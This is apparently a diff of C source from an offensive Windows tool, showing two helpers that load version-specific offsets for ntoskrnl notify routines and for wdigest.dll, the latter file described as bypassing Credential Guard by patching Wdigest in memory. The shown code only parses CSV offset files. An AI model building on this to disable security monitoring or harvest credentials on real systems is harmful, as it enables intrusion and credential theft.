--- ntoskrnl Notify Routines' offsets from CSV functions.
|
||||
--- Hardcoded patterns, with offsets for 350+ ntoskrnl versions provided in the CSV file.
|
||||
|
||||
*/
|
||||
|
||||
#include "NtoskrnlOffsets.h"
|
||||
|
||||
union NtoskrnlOffsets ntoskrnlOffsets = { 0 };
|
||||
|
||||
// Return the offsets of nt!PspCreateProcessNotifyRoutine, nt!PspCreateThreadNotifyRoutine, nt!PspLoadImageNotifyRoutine, and nt!_PS_PROTECTION for the specific Windows version in use.
|
||||
union NtoskrnlOffsets GetNtoskrnlVersionOffsets(TCHAR* ntoskrnlOffsetFilename) {
|
||||
TCHAR ntoskrnlVersion[256] = { 0 };
|
||||
GetNtoskrnlVersion(ntoskrnlVersion);
|
||||
_tprintf(TEXT("[*] System's ntoskrnl.exe file version is: %s\n"), ntoskrnlVersion);
|
||||
|
||||
FILE* offsetFileStream = NULL;
|
||||
_tfopen_s(&offsetFileStream, ntoskrnlOffsetFilename, TEXT("r"));
|
||||
|
||||
union NtoskrnlOffsets offset_results = { 0 };
|
||||
if (offsetFileStream == NULL) {
|
||||
_tprintf(TEXT("[!] Offset CSV file not found / invalid. A valid offset file must be specifed!\n"));
|
||||
return offset_results;
|
||||
}
|
||||
|
||||
TCHAR lineNtoskrnlVersion[256];
|
||||
TCHAR line[2048];
|
||||
while (_fgetts(line, _countof(line), offsetFileStream)) {
|
||||
TCHAR* dupline = _tcsdup(line);
|
||||
TCHAR* tmpBuffer = NULL;
|
||||
_tcscpy_s(lineNtoskrnlVersion, _countof(lineNtoskrnlVersion), _tcstok_s(dupline, TEXT(","), &tmpBuffer));
|
||||
if (_tcscmp(ntoskrnlVersion, lineNtoskrnlVersion) == 0) {
|
||||
TCHAR* endptr;
|
||||
_tprintf(TEXT("[+] Offsets are available for this version of ntoskrnl.exe (%s)!\n"), ntoskrnlVersion);
|
||||
for (int i = 0; i < _SUPPORTED_NTOSKRNL_OFFSETS_END; i++) {
|
||||
offset_results.ar[i] = _tcstoull(_tcstok_s(NULL, TEXT(","), &tmpBuffer), &endptr, 16);
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
fclose(offsetFileStream);
|
||||
return offset_results;
|
||||
}
|
||||
@@ -0,0 +1,46 @@
|
||||
/*
|
||||
|
||||
--- Functions to bypass Credential Guard by enabling Wdigest through patching of the g_fParameter_UseLogonCredential and g_IsCredGuardEnabled attributes in memory.
|
||||
--- Full source and credit to https://teamhydra.blog/2020/08/25/bypassing-credential-guard/
|
||||
--- Code adapted from: https://gist.github.com/N4kedTurtle/8238f64d18932c7184faa2d0af2f1240
|
||||
|
||||
*/
|
||||
|
||||
#include "WdigestOffsets.h"
|
||||
|
||||
union WdigestOffsets wdigestOffsets = { 0 };
|
||||
|
||||
// Return the offsets of nt!PspCreateProcessNotifyRoutine, nt!PspCreateThreadNotifyRoutine, nt!PspLoadImageNotifyRoutine, and nt!_PS_PROTECTION for the specific Windows version in use.
|
||||
union WdigestOffsets GetWdigestVersionOffsets(TCHAR* wdigestOffsetFilename) {
|
||||
TCHAR wdigestVersion[256] = { 0 };
|
||||
GetWdigestVersion(wdigestVersion);
|
||||
_tprintf(TEXT("[*] System's wdigest.dll file version is: %s\n"), wdigestVersion);
|
||||
|
||||
FILE* offsetFileStream = NULL;
|
||||
_tfopen_s(&offsetFileStream, wdigestOffsetFilename, TEXT("r"));
|
||||
|
||||
union WdigestOffsets offsetResults = { 0 };
|
||||
if (offsetFileStream == NULL) {
|
||||
_tprintf(TEXT("[!] Offset CSV file not found / invalid. A valid offset file must be specifed!\n"));
|
||||
return offsetResults;
|
||||
}
|
||||
|
||||
TCHAR lineWdigestVersion[256];
|
||||
TCHAR line[2048];
|
||||
while (_fgetts(line, _countof(line), offsetFileStream)) {
|
||||
TCHAR* dupline = _tcsdup(line);
|
||||
TCHAR* tmpBuffer = NULL;
|
||||
_tcscpy_s(lineWdigestVersion, _countof(lineWdigestVersion), _tcstok_s(dupline, TEXT(","), &tmpBuffer));
|
||||
if (_tcscmp(wdigestVersion, lineWdigestVersion) == 0) {
|
||||
TCHAR* endptr;
|
||||
_tprintf(TEXT("[+] Offsets are available for this version of wdigest.dll (%s)!\n"), wdigestVersion);
|
||||
// TODO: switch hardcoded value to sizeof or const defined
|
||||
for (int i = 0; i < 2; i++) {
|
||||
offsetResults.ar[i] = _tcstoull(_tcstok_s(NULL, TEXT(","), &tmpBuffer), &endptr, 16);
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
fclose(offsetFileStream);
|
||||
return offsetResults;
|
||||
}
|
||||
Reference in New Issue
Block a user